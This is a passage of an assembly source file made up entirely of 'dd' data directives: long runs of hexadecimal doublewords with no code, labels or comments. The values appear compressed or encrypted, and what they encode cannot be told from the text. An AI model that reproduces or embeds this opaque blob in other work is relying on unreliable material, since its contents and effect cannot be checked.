99A7768Ah, 8F0C5937h, 1007B950h dd 3A110005h, 40786DB5h, 0F8009127h, 0D773F0C6h, 5F1B813h dd 0C27D07B4h, 0DE85C0E9h, 0A706416Ch, 3B67409Eh, 2CF70184h dd 0CFEB9BEAh, 0E1BED0B0h, 137D7890h, 53168400h, 70C3E91h dd 29920052h, 0EC4DDAE6h, 483FBD40h, 0D488807Ah, 0ABFFA931h dd 1CCB3F54h, 97531187h, 4BCC8066h, 7500FE7Ah, 4E04580Eh dd 0F2471AB4h, 0F7D600A0h, 0EA4D8099h, 0C6000C38h, 170406B9h dd 1229A185h, 87B84662h, 0B1433394h, 1898A7C0h, 26ECBA58h dd 2B024FE5h, 0C2337BA0h, 124841B4h, 903BD0D3h, 0FDDC0779h dd 1F0F3F99h, 0D0DC1592h, 33842502h, 918013D6h, 44D96AA9h dd 0CDAC3400h, 413DE0CEh, 8AA20FF2h, 0C03C2961h, 0A3DEB7CBh dd 0E2022226h, 69E58DDDh, 45746032h, 546E000Dh, 6B2C7394h dd 0FB045178h, 918E29E5h, 0E3A9C0C0h, 1EC4EA5Fh, 87D9645Ah dd 0C42D85FDh, 0D728F0C3h, 0B27C4D00h, 0F18070D5h, 0FBA10528h dd 805AACDDh, 8F3338FCh, 37BE1100h, 70E4EE67h, 635F00A6h dd 4B106E9Bh, 3EECD935h, 2124A401h, 65F94A2Ah, 83F6C340h dd 0FF380F22h, 0BDA0F126h, 3EFCA2EBh, 0E786E000h, 0B18024BBh dd 0ABFB074Bh, 80780BB5h, 5A5E44C0h, 0FE999B07h, 13B0A039h dd 5C7582Bh, 0D7D66B26h, 2234917Eh, 86A10FDh, 1C98CBh dd 0E6C80D02h, 39898C9Fh, 1F6DD0A0h, 0D2F46F03h, 0E9706714h dd 2C282364h, 40BB4D13h, 0A836CD48h, 0A0755950h, 84E56200h dd 0D6E9E012h, 49882h, 0FE432EE3h, 7D9704D2h, 6700D9E8h dd 688D244Ah, 2539B5h, 8E07A427h, 0C615FC37h, 0B04F3C98h dd 4E21E002h, 8A54C04Dh, 105810B8h, 0C2670196h, 0AFD5F39Eh dd 7FC0A1C9h, 4E643332h, 0E5E85106h, 1F38EBBFh, 6878874Bh dd 0B791A219h, 0D9E8DB45h, 9B300E8Bh, 4476A613h, 0A94CA4h dd 9F59CFFFh, 0F9FE0279h, 1FBCD1ABh, 0A3F06440h, 80CDD43Ah dd 84305B5Ah, 7CFB0991h, 0B7EB073Fh, 71C70619h, 60DB2E14h dd 0B65CD560h, 189D09E9h, 0EA48E416h, 11DF001Dh, 59320EB7h dd 0B01F902h, 0D9EDEF57h, 0AD704AE2h, 58AA0043h, 416DE3FAh dd 0C90E1DA8h, 5303E5h, 146125BFh, 128C749Ch, 369A52h dd 1DB151C0h, 750085B6h, 39D7FFC1h, 0BEA8Fh, 0CB19F3E6h dd 7C50B2B3h, 0D82F1400h, 0AC1F29A5h, 0DC6617F6h, 8790006Ah dd 6136B7Dh, 0DFEC409Fh, 15B47525h, 0CCC9CC78h, 252B210h dd 1424AC0Eh, 57A301FBh, 0F07A71C5h, 1D01F501h, 88385FD3h dd 0CFECB0C7h, 0AFEB00ACh, 0A4742F5Ah, 0E5F4BA84h, 4EF3D00h dd 5CD835B4h, 126E00F7h, 92B2C9C6h, 0E100AE4Dh, 198028FDh dd 7E34420h, 701E070Bh, 0C921036Ah, 390620CFh, 1006128h dd 4B4D44FCh, 379AC71Bh, 30C0C0CCh, 4346D9Bh, 0A5EC80F7h dd 0FB6724Ch, 7EB7AD4h, 0E8733A0Ch, 0CC56F011h, 0D0F5B15h dd 630A2E50h, 8B94BA88h, 1C117BD0h, 0FE0B3A92h, 0A883CB07h dd 8D85C263h, 53378483h, 0C3121AE0h, 5A498201h, 2FDD4C89h dd 0F2095C38h, 60608575h, 683FB17Eh, 58670471h, 9C804D16h dd 0E02219AFh, 0AD0100E5h, 0BFB430FCh, 76002ED7h, 0A78287A5h dd 719E2DB6h, 27D50E07h, 8DC0094Dh, 0E145DB88h, 5340E03h dd 0BF9060F5h, 0B6046C90h, 9E260032h, 9F54DD22h, 153D11C0h dd 0C3888023h, 97FD5CE3h, 3E9500AEh, 49BD9044h, 3C035D1Bh dd 0D04FC7ABh, 0A7E00FFFh, 0BE0DE83h, 4061146Bh, 24733F00h dd 10A4F38Ch, 0FFB80336h, 880B5FDBh, 0F900A0B5h, 1883E11Eh dd 70CC1940h, 0E6E652DBh, 667614F5h, 0B100F44Ch, 4A208C3Ch dd 569813B5h, 9AC15215h, 90E502ACh, 703FECFCh, 58C004E0h dd 80F1A62Ch, 90888285h, 0D05E49h, 8ADD27E9h, 9E1630h dd 1245CCEAh, 35A342BFh, 0FE001190h, 0D2938A79h, 0F6158E4Eh dd 4BF900E8h, 54100489h, 3007EE24h, 0F5E5958h, 0E2FFB3B0h dd 0B7104DEh, 0C0F026BBh, 0FBB06A94h, 4FCC9D0Fh, 0D6AC40D9h dd 1DDB670h, 9373792Ah, 0BB928481h, 3AA680C0h, 701F6187h dd 28A2005Ah, 0DDB1ACFh, 1E00F420h, 0E83C5B3Dh, 57E4BEh dd 6B3F250Ah, 0A577404Ch, 0CC89FB0Fh, 37C940E1h, 9242C35Eh dd 9B6D0290h, 571D6110h, 840050D8h, 1FE3A8B2h, 7F67B6EBh dd 0C44A05FDh, 80EFBFDFh, 0FA49D1EDh, 0E530F865h, 89645880h dd 0EB77589Ch, 0D1E6CC00h, 0BA5CFABFh, 3DC75100h, 54646006h dd 1C280AB3h, 832FB6h, 71DFFF27h, 50F06172h, 750E4498h dd 4B07590Dh, 8A9D87B0h, 21A9DB90h, 0ED8C0042h, 1AFEEF9Eh dd 681E51D0h, 2A87A227h, 1830A4E5h, 7D82F2AAh, 0B43F03C1h dd 34334C52h, 28BB1BDBh, 0C8C981AAh, 8BD8F4E7h, 0A70E1400h dd 8235112Ch, 0D91D0F48h, 5200FA5Bh, 0DFA553CAh, 0A9E56300h dd 0AAE419Bh, 35FD0062h, 9F76C554h, 5700A0B3h, 829775E7h dd 903614C3h, 517E0760h, 3025EACFh, 0CA429E0h, 5CC76D0Eh dd 0D517C0B0h, 0D87A3Bh, 89843663h, 560C420Bh, 8005499h dd 27733374h, 0C490C4h, 91DB358Fh, 1C5694D5h, 302C0B0h dd 0E4D3CB02h, 6974E0BFh, 0F45E00C1h, 0BBB96838h, 16003C1Fh dd 0C03E6B4Ah, 9018EED6h, 8780026Bh, 7FCC4F37h, 64087761h dd 66009ED0h, 0B92C2F0Bh, 0F86D03h, 0DE7F63Bh, 0FB26EE06h dd 73709CB6h, 93812C38h, 395200C4h, 16DE9B33h, 0D290A00h dd 0C432627Eh, 75CA16FEh, 5790C11Ch, 24C21021h, 9CACF6EFh dd 0FCB00034h, 4BD72D37h, 4609EE07h, 0A3D75217h, 3083B604h dd 93FBB07Bh, 89BA049Bh, 0C0C8556Bh, 1E8D1988h, 7249CF00h dd 8E6ECB68h, 26CC01B5h, 0CD2E41B6h, 8B3E7066h, 6C906078h dd 7C8ACF00h, 8D466ABBh, 4FC31CBAh, 2B43C266h, 0A86090E3h dd 25007084h, 0EEA75682h, 2CC8CDD1h, 3CF5D2h, 120F2E3Bh dd 1C008F4Dh, 9B8771A1h, 0C610F8h, 7AABEFB5h, 0DD46EC64h dd 0BA441507h, 31C0C336h, 7B5B648h, 46B5BB2h, 86E40137h dd 29C440D5h, 73004894h, 0A597AB7Ch, 0C216B8h, 7627F6F9h dd 75794BD1h, 4AE60E04h, 0D031DAh, 1C3259D3h, 0AD91FA8Ah dd 0B0555CA0h, 1F002EDFh, 0AE3BE58Eh, 0E224DBh, 0C04CEFA7h dd 82B53ABFh, 0E7C0409h, 0B9A08050h, 1314907h, 0D0B470BAh dd 6428D73Eh, 93090240h, 2760326Fh, 8221F200h, 0E2F620h dd 77436405h, 1295E11Fh, 0CA1C800h, 2F59D0h, 91332D02h dd 3F6D80A2h, 83E24513h, 0C9E8D044h, 25CBCC88h, 0C009840h dd 14F99AFCh, 0C8F6A01Ch, 9880C217h, 1D512E97h, 802B047Dh dd 50C1433h, 7F243147h, 73002459h, 0BF7917DCh, 0BE8800D3h dd 0CE1BC0BBh, 0EA0082E4h, 0B19D3E84h, 6F0A7Eh, 0C1A7397Ah dd 51796449h, 9960E716h, 979BD300h, 1B06E5h, 0BC03E92Ch dd 0AACFA596h, 75C67B00h, 7E378354h, 3FC42EAFh, 71E48098h dd 2197C093h, 0D120379h, 0A4805305h, 1C5E0227h, 80909533h dd 0F3B3C6E6h, 727E0EA7h, 39029177h, 8ADC587Fh, 0D9304008h dd 4C8F363h, 0AC090198h, 0D35AF34Dh, 0F74ACC1Dh, 0E4319D26h dd 0FBC8039h, 0B6453B2Ch, 64970065h, 146F81CCh, 950EE43Ah dd 0A40376E1h, 64ACA4DCh, 93C682C1h, 8EDC8906h, 0D96E803Ah dd 0C3E7DAA3h, 73082092h dd 98E027FAh, 9900EF4Dh, 0F23060D8h, 4E5E1B7h, 0A81393E7h dd 912C022Bh, 0EC7660DDh, 2D4F001Bh, 0CF336E7Dh, 961DE1A8h dd 2642826Ah, 68ED05B1h, 9E0D314h, 36CFBFFAh, 32778C80h dd 2E1375A0h, 6F0E7885h, 0E6005CFEh, 9F240E95h, 0B0A039BCh dd 0D8A63800h, 1FEA67D9h, 5A021200h, 0ACC98127h, 0A69150E6h dd 22C61D62h, 0C41CD580h, 0C9023538h, 0FA0B67A5h, 0C6EC0FC0h dd 583B4F00h, 9E1421B3h, 19911E83h, 0BDDAC765h, 0A0BE6734h dd 96EDE492h, 5DB42201h, 1B859FE6h, 2DECBC70h, 0F4805054h dd 0D05C0D49h, 1129920Fh, 0EA0E6FFBh, 96701055h, 4254E891h dd 390F0047h, 3E4031B0h, 5131EB8h, 20C80F21h, 0D08C0050h dd 110F1EDAh, 0E8E0F8B3h, 4D18C0D3h, 73D33FDh, 948D760h dd 70690B3h, 89135CBAh, 0BF72004Ch, 1E5462D2h, 0F0004A88h dd 219CFD11h, 5ACD31h, 0B2DF4589h, 358CB96Dh, 4A07AE1Fh dd 929B5180h, 85E8BCh, 37C83470h, 6C695CABh, 0DA0E9800h dd 66BEA9EAh, 8F400E0h, 0B4B60CE8h, 2800F1B1h, 50FA78DCh dd 7E051D2h, 3DC0A607h, 2584E04Bh, 6031598h, 0BE81E6EBh dd 0CCC0951Ah, 7DE76F2h, 24AADAD4h, 7C1780A4h, 0A61D2216h dd 837CCEBBh, 6115B4D2h, 241AC091h, 0EBAC0031h, 0C9FDA97Fh dd 2589BE9h, 0C5007AC8h, 0D4DA3416h, 85E5D1h, 0A2522677h dd 4E81C1Fh, 0AA2BB51Dh, 48085DC0h, 40B399h, 0C68A1D76h dd 1AA694A1h, 0E9A280Ah, 0AA02CC2Ch, 68B3E44Dh, 7EC4964h dd 0EE26AE5h, 171DB1F1h, 0F40898F0h, 7BFC4C21h, 7DCF056Ah dd 4D671h, 37902A8Fh, 0D91DCE76h, 18C0A39Ch, 96220515h dd 2E5001B8h, 0B0D621F9h, 5E498084h, 45757D42h, 0FC8FE297h dd 10E820B6h, 8B3BAC00h, 0F468554Dh, 3D1C03FCh, 7D44B620h dd 18D1204Bh, 382292AFh, 9F3CAC00h, 814CB774h, 70C0B3B8h dd 0BB1110A6h, 0F2967C2Dh, 18EC63EEh, 39008EB1h, 0BA136220h dd 0F532AF4h, 816E5AB7h, 0CCF0E6C1h, 8230242Fh, 0D8E75B00h dd 1250D729h, 0F2A307F5h, 3075438Eh, 0C5300E02h, 8B31FE18h dd 0C3C63668h, 0C058CD81h, 0A6C003C2h, 4E00314Dh, 455163A5h dd 46AD5Ah, 171BCB90h, 0C87F7E3Dh, 0F41BB3Eh, 85C387ECh dd 83B1B2h, 11DEA085h, 186F00E4h, 7364163Fh, 75660F24h dd 1F21EB08h, 0EE18664Ah, 0E1003CAAh, 3AD82DA4h, 5D07FB78h dd 0DCA585EDh, 330BD26h, 0A76683CFh, 10588425h, 80F43E01h dd 0D395A199h, 0E8945990h, 0D021C034h, 89D2F4BEh, 82428C0Ch dd 101FB028h, 669B9498h, 46B81129h, 1872028Dh, 315C1630h dd 65531090h, 9A520018h, 19E3FD80h, 0C3065076h, 2285051Dh dd 16200268h, 11AAD9BEh, 0CDC07E05h, 7CA4673h, 0DA59B5F8h dd 21C346F7h, 0C4E89C00h, 8D7B3D6Dh, 0CD610F78h, 994651A1h dd 0AE077998h, 0E31C1936h, 808F0740h, 306A38F8h, 613E2A9Eh dd 419FBA11h, 0EA466FC4h, 88F50CF7h, 0C401F498h, 0A5E135ACh dd 14300F64h, 0CCE40109h, 394CD083h, 0AEC441FEh, 8DADCCC5h dd 0A916A12Eh, 7D233300h, 385479F1h, 0AC000A7Ah, 0D8A10D1Fh dd 22F83803h, 98649A00h, 6A49BE9Fh, 0B21E0067h, 0BA2AF392h dd 0F10089A6h, 39DD1147h, 70C2EF38h, 96260012h, 782737Ah dd 9800FB40h, 6D493051h, 0D45866h, 966133A6h, 95280D46h dd 0C2EB126h, 5B00541Ch, 1407CBF9h, 410D1B6h, 0A2659C3h dd 416D1000h, 5E6AF9Fh, 29DB1DDFh, 681140C9h, 4C954D71h dd 0C23E4200h, 0CEA8A537h, 0EA210031h, 0D97E8280h, 0B670F51Eh dd 836E409h, 88CB009Dh, 7E2C40ECh, 6A29007Ch, 160C8644h dd 5F007179h, 0ECCD74A3h, 0BBB132h, 73D6A613h, 669F33E7h dd 932F6300h, 2CF924C4h, 35BE007Ah, 0FF8ACE58h, 0A50019B2h dd 0F6281CCAh, 936A77h, 4238BE62h, 1731C0AAh, 94696800h dd 60BB7279h, 0FE6B0076h, 123BA525h, 50FC1727h, 0BC3D6500h dd 6DB0FD55h, 6BE74E8h, 0C592C08Dh, 3F07781Ah, 47446F74h dd 9E0180DBh, 0F890DCh, 39170A0Dh, 7BF16983h, 6DE59F00h dd 62EFA4BAh, 33A70016h, 0DADBE825h, 5008595h, 4C0A38DEh dd 4570ADh, 0C56F6898h, 1D43069Ah, 6DE72E00h, 2F77A2DFh dd 5BCA0058h, 6C619950h, 34548556h, 4A0078D8h, 0C6581014h dd 6A5A07h, 4F8D6716h, 0A0B87F31h, 2B3B40C0h, 4BE5C33h dd 64566D63h, 40DD4014h, 0A41D9Fh, 97F2E406h, 0C8B93EF7h dd 8A0D9300h, 2AE2863Ch, 2F6604B6h, 0C0C7271Eh, 2899D9EBh dd 2DB14A01h, 0E198E36Eh, 13CBCCh, 6567C410h, 0DC9770D0h dd 0CF044848h, 6AC360F6h, 9858620h, 412F88EEh, 5A81180h dd 5800812Bh, 0F1B435ECh, 1DB94C03h, 9D420E3Ah, 2F1B80C0h dd 6B048C96h, 5B80E61Fh, 83729DFBh, 70F9F745h, 0C52480BEh dd 2B00C8CDh, 975EB2EBh, 1CC40C9Eh, 473E5946h, 0D1507E34h dd 42FDD114h, 0FA81D5B8h, 0D820B548h, 4600F8D3h, 70B65081h dd 0B8FE7CB8h, 429C8213h, 36A4A7A3h, 72B93Ch, 0BEB4E9E5h dd 7C26BD0Dh, 6D5B5C05h, 0F180FC1Ch, 358760h, 656CF369h dd 0D326D807h, 8F5C087Bh, 0BF6F007Fh, 4B49561Ah, 3C79F645h dd 0E380F018h, 2A518BFBh, 0A812B23Ch, 0DE001D91h, 9F2D6DFAh dd 13A2815h, 9B6600E4h, 685AB88Ah, 0E7026BE4h, 4DFAFB27h dd 7E9140CCh, 0D808039Eh, 287F6C38h, 0DCF7618Fh, 0A76DD88Ch dd 0F30D96C2h, 654E08Ah, 11EF441h, 33A47E4Ch, 0D45384BDh dd 70076D5Eh, 9B9D3FAAh, 0D4C9A030h, 212A0562h, 80BF57F7h dd 4F5B7105h, 0C3F5B100h, 61683844h, 7233DABh, 0D90330CDh dd 77C07CFEh, 0CBE92840h, 0F3FB8C00h, 5A825759h, 842803A1h dd 4CDF006h, 946E50EFh, 3C4CBC01h, 0B78008Eh, 0D7832F2Eh dd 311E00D6h, 35F4FE58h, 9328A2B0h, 5A009C03h, 9B4B1F24h dd 4C652664h, 31068A63h, 9EFD7C0Bh, 330016EEh, 0CA364395h dd 0F8CE85D7h, 0BD503DDh, 91F45F12h, 55D40B0h, 88818E03h dd 0D0CDB0B8h, 453B61h, 7669552Ch, 1D7CDF1Ch, 2428E650h dd 5F971500h, 9F300AB8h, 4DCE00E9h, 468122E3h, 0BC000BA5h dd 0DF53BB24h, 2E637764h, 39CCA2h, 0BD35D54Fh, 1C00C212h dd 75ED5796h, 0C09452E0h, 261BAE50h, 0E011FCBh, 0BCD9F53Fh dd 33CCAAB1h, 9171007Ah, 0C1462B0Dh, 0B4F4F227h, 3E26603h dd 0C7904356h, 0B5530960h, 0AE590C70h, 5C83A11h, 67C03812h dd 15EAEA05h, 4F1B6800h, 121A6ADh, 395E6101h, 246B429Dh dd 0F707483Ch, 3F8F6873h, 3236AAA0h, 0F2B13870h, 0B71CA800h dd 4475F062h, 0B5DA2E14h, 0F31150A0h, 4A559200h, 0E1F419C8h dd 0A2910035h, 0FF7C0E46h, 83F8160h, 9A7A9852h, 7178810h dd 0CD73122Fh, 8515D0h, 10AF4A0h, 920F5E3Ah, 41D77670h dd 0FFE3FB9Bh, 2E03F7C4h, 4EAB46Fh, 93596E4Dh, 0FE9957DCh dd 45523019h, 0D67C4800h, 652523E9h, 0DA260912h, 4000C6E3h dd 0FBBA2086h, 10733B0h, 9345410Bh, 4FE06877h, 0AF607Ah dd 0B2DB4DD3h, 2FE0D2A9h, 74616B3Eh, 0B1BB9F02h, 6015787Ah dd 0FA99B4h, 0C2514C9Ah, 0A6256462h, 84311D01h, 517CF5Dh dd 0FCFA5330h, 2CBA0085h, 4B749C36h, 0E001311h, 0F937197Fh dd 18ABF540h, 18163F7Ah, 0D50079D3h, 527F8832h, 0FEC5303Dh dd 1FB90718h, 20F95038h, 544642Ch, 0ECE1BC26h, 0AB261680h dd 30DE8241h, 0EE70846Bh, 3A004CCBh, 0D84B72CCh, 0BE307Eh dd 6BF5FDE0h, 0D2AA01FAh dd 0AD08BC00h, 0D17A48A0h, 0BA5900D9h, 8B05BEEEh, 4200D014h dd 0BD5AC31Dh, 29CA37h, 0DAE46E10h, 1248B263h, 4E491E00h dd 0B0D26299h, 40460029h, 329BFBE5h, 8781244h, 0EF24C679h dd 6C802CF4h, 0B8ABBB27h, 5993002Ch, 96488E2Bh, 6A00A91Ch dd 0A5440D01h, 2C222Fh, 16B8C3B5h, 1CB975E0h, 1F31C15Ch dd 5E824F7Fh, 600B6864h, 3E65DFB4h, 3280C8C7h, 0F0F28BC6h dd 25061D5Ah, 8A093457h, 3059001Ch, 3396B06Ah, 0DE00AF24h dd 0B34F85B4h, 3D421F3Ch, 3F001CC7h, 0AE8FBB28h, 98009FF7h dd 0E6D2EBBFh, 838C2Dh, 0C3790E0Dh, 0FD229B68h, 99737775h dd 0BD098618h, 380FC48h, 4C39D39Dh, 41017B24h, 0B967EE2Eh dd 72D4D932h, 80E400C0h, 1953AB5Eh, 3B1C819Ah, 0BDC00985h dd 67EB5210h, 0AC383B41h, 9EECEA2Ch, 0F73B83F0h, 0DCF86A22h dd 0D302107Dh, 0F50304A9h, 5118407Bh, 0ACFB1345h, 8B5C0756h dd 47C6E011h, 6F03CF39h, 0BC9F2937h, 0CD4E8E5h, 0FC3B48ABh dd 0E4E4FC7Fh, 4ADF1865h, 62957111h, 4988A80Eh, 6F821E27h dd 8147DF50h, 0A8599710h, 3F291C34h, 26B1F0F5h, 8FC9DB08h dd 9DFD2719h, 0AC53C40h, 1BF6A9Fh, 0C60D6C97h, 0E0254D19h dd 0DD6115BDh, 5E73628h, 30A86474h, 6F68047Bh, 93184856h dd 329B9AAh, 10211627h, 45404ABAh, 20059044h, 271503DCh dd 0A985942Bh, 0C1D52124h, 7135627h, 30DD58B8h, 33F0B09Ch dd 7E0043ECh, 0E34716FCh, 9F6BB420h, 0B7004DF8h, 3A7776EAh dd 135A1929h, 0D06960h, 4B91A458h, 9205C067h, 2E38211Ah dd 49EA8BC0h, 0F8CC00FAh, 485D59E3h, 0BA0F7127h, 97B34B6Eh dd 1F76FE00h, 9814AE5Eh, 0F904607Eh, 3686B9E0h, 1A198E0Eh dd 25D1C7A8h, 3D21FB46h, 300A1CBh, 88399176h, 0DF00DCABh dd 19688969h, 516F50Ah, 8CB653ECh, 64905E44h, 38B300C7h dd 3110E537h, 31E4673Ah, 2A04211Fh, 7A9E60h, 57C83277h dd 0C5622C7Ch, 0E0EC1E00h, 0A88AE945h, 0A7807BBh, 53D1E4h dd 2933B602h, 74005091h, 6FC294D2h, 44707EEh, 44480797h dd 0D3D4D0FCh, 27009514h, 0FE2EC340h, 6CCE3A51h, 0B68960EBh dd 0E9C34898h, 0F89BC58Bh, 73455A38h, 111C3027h, 93B2BD80h dd 57E17215h, 10823A0h, 8E3786BEh, 0CA1E0E01h, 0F26783A6h dd 90B459EEh, 0D5FA8D0Ch, 520BBA00h, 21B949D9h, 0E9AC007Ch dd 33CA99AAh, 89C4E0E4h, 8010B0C0h, 0C7AA106h, 6D031041h dd 5A1589F2h, 0CCFB901Bh, 209913BFh, 0C0511D90h, 0CDFF91B4h dd 0D5000518h, 0ED448707h, 0A2D3C0h, 1F5B414Ah, 8BEED8A6h dd 13989400h, 0B5C4287Ch, 0C0960009h, 5BAF1D7Eh, 0D500FBC1h dd 0EFEB9A18h, 7717E692h, 0BB660054h, 3D2C9F3h, 0C124EE70h dd 350003F0h, 0B2D80936h, 0E43F0004h, 9C92C4D2h, 0CA001EA3h dd 0F3FD87EEh, 9FB481h, 20A9AD7Fh, 0A86B5122h, 31FAEB07h dd 7D70F946h, 0B73615h, 2F74AEDDh, 2169E1FFh, 90F7EA07h dd 917114E7h, 0F1FCFD89h, 7B9501F9h, 0ED029473h, 0EA4AF0BDh dd 0FF2DDA00h, 0CA330CA0h, 0D8A70148h, 18BDBBA4h, 32A6C87Fh dd 126CFD0Ah, 9501D0DDh, 9CB02493h, 96B1588Ch, 1E7F6C08h dd 0A2D45F00h, 6E3570BEh, 3CB20FE3h, 51002D99h, 0DCCA34BFh dd 495E0F00h, 0E39C0462h, 633D0C3Eh, 0CFA95B14h, 7CF07901h dd 6156E557h, 90D799D0h, 3AF10001h, 88827AC3h, 31C76DCAh dd 808D1267h, 150EE0h, 0A9C1B1BFh, 5FAB03CCh, 0A15AF30Ch dd 892076h, 64490B6Fh, 54E343F0h, 7A998A0Eh, 0DC50050h dd 3014CA8Fh, 0A7A16EE8h, 56083E43h, 80BC1567h, 227EC98Bh dd 1F3D733Ah, 3FD1BB0Fh, 6869977Ch, 0D513A303h, 9401BD17h dd 86CEEC05h, 30B391E8h, 57894BA6h, 4E98D4D7h, 8EEBD918h dd 607888C1h, 19C2696Ah, 0C6FC1496h, 0D81D10C0h, 3DC41Eh dd 0E1FC3E08h, 8CC0391Ch, 90727300h, 52F7A05Eh, 0D20F00D1h dd 0A693B077h, 0C63D55BFh, 24250098h, 72F1671Bh, 9DB1718h dd 36C60061h, 0E85FFA14h, 967EE9FEh, 0BFC66200h, 0E2A1E3B2h dd 4411CAB8h, 3F0F7C04h, 80450B4Eh, 0EAF5EFDAh, 23290087h dd 6B64C94Ah, 5F001099h, 8339DBADh, 9D3015h, 0E1468709h dd 2BAFCCEEh, 41343600h, 2CBE7E72h, 26847E9Eh, 63AA35h dd 4BB02E60h, 76006D74h, 2445E89Dh, 112CB2h, 0E61FC953h dd 19D8CE44h, 0E92A3300h, 13D19F4Dh, 8AE10070h, 6CF7F412h dd 5000B984h, 386AEDD2h, 629861h, 2794539Ah, 0BF3242D7h dd 117F7B0Eh, 0D4D8A009h, 0C94EDBh, 0EF0CF912h, 469489E6h dd 0DFB1BB1Dh, 0BDF81980h, 0FBC24Dh, 0B8D1CC88h, 7481C891h dd 0FE936600h, 731C6D6Bh, 0EF8300DCh, 85991288h, 8200399Eh dd 268A1F08h, 7FA62C18h, 36780Ah, 0B0742F04h, 0C754CBEEh dd 730840E1h, 1F00F867h, 7D0D2778h, 0D10925h, 0D796560Eh dd 4FAEBA02h, 0D8CCBC50h, 2B001EB8h, 3A180A1Bh, 0A6EEB1h dd 6C6AD4F2h, 44A50166h, 4002067Fh, 0B415C66Bh, 0F8C0DDCBh dd 0F900CC68h, 74DD6339h, 0E723DCh, 3611D893h, 0E96907EEh dd 8B70B461h, 0D100BFC4h, 3007FBA9h, 0C0CAF814h, 0FAA187A0h dd 0C8960EF0h, 762032B5h, 78BF6C8Dh, 836F7C00h, 1FA2BB2Ch dd 1AE4A0BDh, 7427397h, 7BD04EADh, 7FA490C3h, 0D709C9ECh dd 8CEEF9h, 12FDD9D7h, 51310021h, 0E8DA634Ch, 0CB775040h dd 73AF7700h, 537E118Eh, 6A951482h, 0D40F4CAEh, 3CE74AF6h dd 6C41A0F1h, 0E9FE4673h, 0F426110Fh, 0E3D6202Eh, 3B72836h dd 182489A8h, 4BF09BFCh, 6A71591Bh, 416E73Bh, 1CB5CAC5h dd 0A508081h, 7E003C22h, 0EDA8B612h, 0B71E0130h, 3C43C4A0h dd 0C95C0CBFh, 9BF0B5D9h, 8B160004h, 29D6B4E5h, 0E0085CBh dd 67CD70Bh, 0C309EC8h, 8B52F8C6h, 59FE3C18h, 3FB3CC00h dd 0D8ADFFEFh, 0E5601E6Dh, 0BD30C091h, 810CAC21h, 18ED390Eh dd 15031C13h, 0E149D5h, 0D31BA2B2h, 26C40636h, 17BA910Ch dd 39522D2h, 47C501A0h, 0D0006932h, 0F03A8934h, 1F51F811h dd 81B0DCCBh, 0A9BC8D98h, 37D8501Bh, 0EB00DF65h, 0E3F4842Bh dd 60D08AF6h, 9C32B086h, 0F73F588Fh, 0E0E8870Ah, 7DC0090Dh dd 0F71744Dh, 0EC153A91h, 8F5C5D60h, 4B00112Eh, 289FAE46h dd 38298EB5h, 8C280533h, 0D5DB00E0h, 0E13B99D0h, 80C0BC7Dh dd 7442E841h, 966E262Dh, 0D8DD0020h, 1D770E51h, 50BEBB26h dd 0A24AB881h, 8EF4ECCEh, 0FEFC263Fh, 40811CEEh, 0D54BDFF8h dd 3BE2842Ch, 0A8EBFA30h, 614E6F90h, 24759891h, 3CE4DCCAh dd 0FA47BA1Dh, 557EF700h, 23A4DAh, 578FD353h, 0D8212D9Ch dd 84313818h, 407449h, 0F080796h, 1298A1CEh, 13ED6A00h dd 873445A0h, 0AD4B0253h, 6318D3DDh, 96556EE0h, 42472700h dd 28DE315h, 5D780E1Bh, 38204EE1h, 5C6A7A58h, 0A2ABE402h dd 0E3EA17EBh, 0E6ECE0E5h, 0C02C1F8Bh, 83C6C0EEh, 359FD280h dd 0E1F4C300h, 0F152C1D4h, 5E1F1739h, 6E4000C8h, 13C571F9h dd 80ED3507h, 0B5C35186h, 997AB029h, 0A6731264h, 400807BBh dd 0EAE8C1C9h, 0CB808165h, 0F97D7E3Dh, 2607ACF0h, 8308CDE0h dd 92B56ADh, 703F78C8h, 0F81C9700h, 0E4C36046h, 0B5C6008Bh dd 0C06F2095h, 0D7F5C68h, 0F7CAEA00h, 0ED630350h, 9D2401A2h dd 2F6F7977h, 0E1FA7006h, 9D884Ch, 338410A1h, 78238931h dd 8E4200BAh, 6A6E1362h, 9100478Ch, 0F4C84ACFh, 38126B2h dd 7E07AF59h, 0A009C788h dd 2A56DFh, 0F5337C08h, 7F2C13BBh, 0F06E0172h, 0E160F7C9h dd 6E9C30B0h, 2507A5B8h, 660F4DB4h, 63861CF0h, 3C9B07C3h dd 0A03E6FC7h, 4CBE1489h, 7E80044Eh, 18A8E64Bh, 1815A377h dd 2301CEAFh, 57F4709Bh, 0C0CCC676h, 0C17BB9h, 0E3D5CFFh dd 0ABFA588Bh, 0C65A8004h, 0F981BE17h, 3ED94213h, 4FEAC20h dd 0EE1A6BCBh, 0D9BCD0F2h, 2505FFABh, 177550F1h, 2311B000h dd 5D0E79h, 0F38A9C0h, 33036A47h, 49CC261Fh, 0A4880F8h dd 8144CEEDh, 5DB000ACh, 0BC9CF0E4h, 290014C1h, 246ED7D6h dd 7E1DA5h, 1F325B36h, 523942CAh, 98180FB0h, 9B389CC7h dd 4C8E0EB6h, 0BCC019FCh, 45EB348Bh, 23D7CB0Fh, 0E428613h dd 0D89B0341h, 0EEC8ADCFh, 0D5F226E8h, 1054D58h, 241C5EDAh dd 37607B17h, 2E727Eh, 87EBDECEh, 0D6A77137h, 8091FF3Ch dd 610F8902h, 1F52B578h, 4E5434EEh, 72E7483Bh, 0C6A4F09Bh dd 1008C3Dh, 266FDABh, 0E00ED48Bh, 0F77F206h, 0CA614C53h dd 67B3C09Ch, 0DA87CB82h, 1500FD7Bh, 0C1AD8598h, 198379h dd 38765FB9h, 60BF8E21h, 4FA7B006h, 107251h, 4CD6D82Fh dd 1F937F50h, 1D372C12h, 5DC2E821h, 6141F8h, 8A2AAC04h dd 0D2572E24h, 8773181Dh, 7B6F9B80h, 0D8B602h, 4365D350h dd 0A31F5F7Eh, 7AF88F18h, 61260710h, 0ED3F56B8h, 0F2D8F7B4h dd 0AC3C400Ch, 726F80F6h, 34947646h, 0CF1B13FEh, 0EF8040BBh dd 0F651B0BCh, 8BD44F17h, 24003813h, 0EC490A8Ch, 58C40140h dd 63A1AEA3h, 0DB1070B1h, 0C5FEDAE6h, 7EB7190Eh, 0E7CB95h dd 93EF7194h, 7F41183Dh, 3BBF604Bh, 3C60332Eh, 2902DD81h dd 89DDC86h, 3B1907D7h, 4121DC5Bh, 9549971Eh, 9ED65846h dd 0CD97408h, 635C3EC0h, 0E90F4450h, 61920BB8h, 0F090E083h dd 0E84FBD0h, 0E6F63158h, 0CD50B820h, 3F007D99h, 52977274h dd 12BC9F28h, 3E0D992h, 63A2C5A6h, 